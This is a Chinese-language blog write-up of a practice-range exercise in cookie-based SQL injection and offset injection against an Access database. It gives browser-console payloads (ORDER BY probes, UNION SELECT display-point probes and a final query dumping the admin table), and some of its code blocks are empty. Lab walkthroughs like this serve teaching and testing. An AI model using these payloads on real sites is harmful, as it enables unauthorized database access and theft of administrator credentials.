SQL注入-偏移注入
偏移注入
cookie 注入是类似于 POST 或者 GET 传参方式的一种。在 post 或 get 传入参数被反制的时候,可以尝试使用 cookie 注入。
常见的修改 cookie 值的方式有以下几种
- 浏览器,开发者工具 ,console 控制台。
documents.cookie="id=171"
documents.cookie="id="+escape("171 order by 11")
。 其中escape
为 js 函数, 作用是进行 url 编码。
- 浏览器插件
- burpsuite 抓包修改
access 数据库
- access 本身没有库的概念, 更像是 表的集合
- access 本身没有系统自带库, 不能像 mysql 那样通过 information_schema 查询用户信息。 因此大多情况下只能通过爆破手段获取信息。
靶场
探测注入
http://59.63.200.79:8004/shownews.asp?id=171 and 1=2
通过报错可以确认, 网站做了一定反制, 禁止了常用的注入字段。
测试 cookie
使用浏览器开发者工具,尝试 cookie 注入
|
|
页面显示正常, 存在 cookie 注入可能性
探测显示点
# console
document.cookie="id="+escape("171 and 1=2 union select 1,2,3,4,5,6,7,8,9,10 from admin")
显示点为 2,3
使用以下联合查询,发现无法实现偏移注入。
|
|
判断: admin 的字段大于 10 ,所以无法 union 实现。
本则, 开发逻辑是相同的原则, 尝试其他页面是否可以注入, 在
产品展示页面, 字段数有 26个。
http://59.63.200.79:8004/ProductShow.asp
document.cookie="id="+escape("105 order by 26")
寻找显示点
|
|
结果为 3,5,7
探测 admin 表字段数
|
|
成功,表示 admin 有16个字段。
通过 三次偏移 (select *
, select 1,
, select 1,2,*
) 得到计数如下。
这些连续的数字也像是16进制编码。
分析网站远吗
通过对比发现, 除了 3,5,7 有变化之外, 显示的图片也出错了。
或许,这里也是一个注入点。
重新构造token, 方便搜索
document.cookie="id="+escape("105 and 1=2 union select 10001,10002,10003,10004,10005,10006,10007,10008,10009,100010,100011,100012,100013,100014,100015,100016,100017,100018,100019,100020,100021,100022,100023,100024,100025,100026 from admin")
查看网页源代码
|
|
发现原本图片问题,本应该是 URL 的地方也是注入点。并且位置偏后
浪费了大把时间猜测
sql语句要写 admin.*
才有结果, 语法结构和 mysql 还有出入。
document.cookie="id="+escape("105 and 1=2 union select 1,2,3,4,5,6,7,8,9,admin.*,23 from admin")
|
|
- 原文链接:https://typonotes.com/posts/2020/12/17/sql-inject-by-pianyi/
- 本文为原创文章,转载注明出处。
- 欢迎 扫码关注公众号
Go与云原生
或 订阅网站 https://typonotes.com/ 。 - 第一时间看后续精彩文章。觉得好的话,请猛击文章右下角「在看」,感谢支持。